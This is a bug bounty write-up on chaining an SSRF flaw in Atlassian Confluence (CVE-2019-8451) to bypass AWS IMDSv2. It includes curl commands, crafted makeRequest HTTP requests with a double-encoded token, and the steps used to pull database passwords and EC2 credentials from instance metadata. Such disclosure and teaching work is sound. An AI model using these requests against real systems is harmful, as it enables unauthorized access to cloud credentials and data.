Exploitation of an SSRF vulnerability against EC2 IMDSv2

Yassine Aboukir · April 28, 2022

The CapitalOne security breach back in 2019 was quite an interesting incident that made news headlines as the attackers were able to leak customers’ PII as well as credit card information.

The attackers took advantage of an SSRF (Server-Side Request Forgery) vulnerability to gain unauthorized access to their AWS infrastructure but before this incident, exploiting this class of vulnerability to exfiltrate AWS security credentials was almost straightforward since organizations relied on EC2 Instance Metadata Service v1 (IMDSv1) which is less secure as it allows reaching the metadata endpoint located at http://169.254.169.254 with a simple GET request within the instance.

Since then, AWS has decided to roll out IMDSv2 as an in-depth defense to reduce the likelihood of a successful SSRF exploitation against this endpoint, so now it only accepts authenticated requests and works as follows:

Source: https://medium.com/@shurmajee/aws-enhances-metadata-service-security-with-imdsv2-b5d4b238454b

Essentially, you will need to send a PUT request to http://169.254.169.254/latest/api/token with the following header X-aws-ec2-metadata-token-ttl-seconds: 21600, then you’ll receive a session token that’s valid for up to 6 hours (21600 seconds) which can be used as many times as you want but only from the same EC2 instance where that session began.

curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"

Next, you can request the metadata endpoint http://169.254.169.254/latest/meta-data/profile by sending the following HTTP header: X-aws-ec2-metadata-token: $TOKEN along with the request and appending by appending the session token to it ($TOKEN).

curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"

As you might have experienced yourself, the majority of SSRF vulnerabilities are limited to a GET request so this is supposed to make it fairly difficult and challenging to exploit them unless the attacker has full control over the HTTP method and HTTP headers.

Thái Vũ and I were collaborating on this bug bounty program for which the initial subdomains reconnaissance identified a couple of Atlassian Confluence instances.

http://confluence.dev.████████.com
http://confluence.production.dev.████████.com
http://confluencesecurity.staging.dev.████████.com

We’re going to use all these instances interchangeably throughout this post but we confirmed they were all vulnerable to CVE-2019-8451 using Burpsuite Collaborator as follows:

POST /plugins/servlet/gadgets/makeRequest?url=http://03jve28sg5djvfbj9f00xzjogz.burpcollaborator.net/ HTTP/1.1
Host: confluence.dev.████████.com
User-Agent: Mozilla/5.0
Accept: */*
X-Atlassian-Token: no-check
Content-Length: 322
Content-Type: application/x-www-form-urlencoded
Connection: close

And we got a hit:

The next step was to find a way to reach their internal network but that was fortunately straightforward by pointing URL to 127.0.0.1 and running Burp Intruder on the port part to enumerate all the available services they might be using internally. It turned out there wasn’t much as we only found two open ports:

Nginx web server and proxy running on port 80:

and the confluence instance itself running on port 5000:

We went ahead and confirmed the host was running on AWS infrastructure as you can see below:

so, we naturally attempted to reach AWS metadata endpoint by pointing the URL to http://169.254.169.254/ but that didn’t work as it returned 401 - unauthorized status.

It was obvious that the endpoint is indeed accessible but requires some sort of authentication so after some research we concluded that they’re most certainly using IMDSv2 as we aforementioned.

Initially, we thought we hit a dead-end and considered submitting it as P3 at best but we decided to dig a bit further and figure out if there is any way we can control the HTTP request.

Atlassian gadgets use the new Google gadgets.* API defined by the OpenSocial specification so to load dynamic data into the gadget, you will make Ajax calls using gadgets.io.makeRequest() to the remote server - it appears this endpoint takes in various other parameters such as: httpmethod, postData and headers to name a few.

This is everything we needed to make our exploit work so the next step was to leverage these parameters in order to retrieve the session token, so we sent a PUT to http://169.254.169.254/latest/api/token along with X-aws-ec2-metadata-token-ttl-seconds: 21600 header as mentioned earlier. See:

The session token was successfully returned and now it’s time to use it to send an authenticated request to access the metadata endpoint. We found out that makeRequest was accepting POST request too so we did something like this:

POST /plugins/servlet/gadgets/makeRequest HTTP/1.1
Host: confluence.dev.████████.com
User-Agent: Mozilla/5.0
Accept: */*
X-Atlassian-Token: no-check
Content-Length: 322
Content-Type: application/x-www-form-urlencoded
Connection: close

url=http://169.254.169.254/latest/meta-data&httpMethod=GET&headers=X-aws-ec2-metadata-token=AQAEAH7TsExwreOTsHbZjebiYB7ypANA_l6JycUp2g0hDYNN9-kucA==

But this wasn’t working for some reason as it’s still returning 401 so we figured the base64 == at the end of the token might be causing the issue which we confirmed to be stripped out in the request when we tried it against our collaborator endpoint. See:

So we URL-encoded and still didn’t work, we double URL-encoded it then it worked this time and we had the meta-data content returned:

That was such a relief! we also requested http://169.254.169.254/latest/user-data and found a bash script used to automate the installation and deployment of these confluence instances and it surprisingly contained a good amount of hardcoded credentials for PostgreSQL database on AWS RDS, Tenable Nessus agent`, Hibernate connection password, etc.

This is a pretty bad security practice which AWS itself advises against since credentials hosted on the metadata endpoint should be shortlived and expire after a period of time.

Then, to finalize the proof of concept, we naturally had to exfiltrate the EC2 security credentials from http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance before writing up and submitting the report.

If you want to go further, you can validate and enumerate all the other AWS services and permissions these security credentials have access to by using ScoutSuite auditing tool for instance.

Twitter, Facebook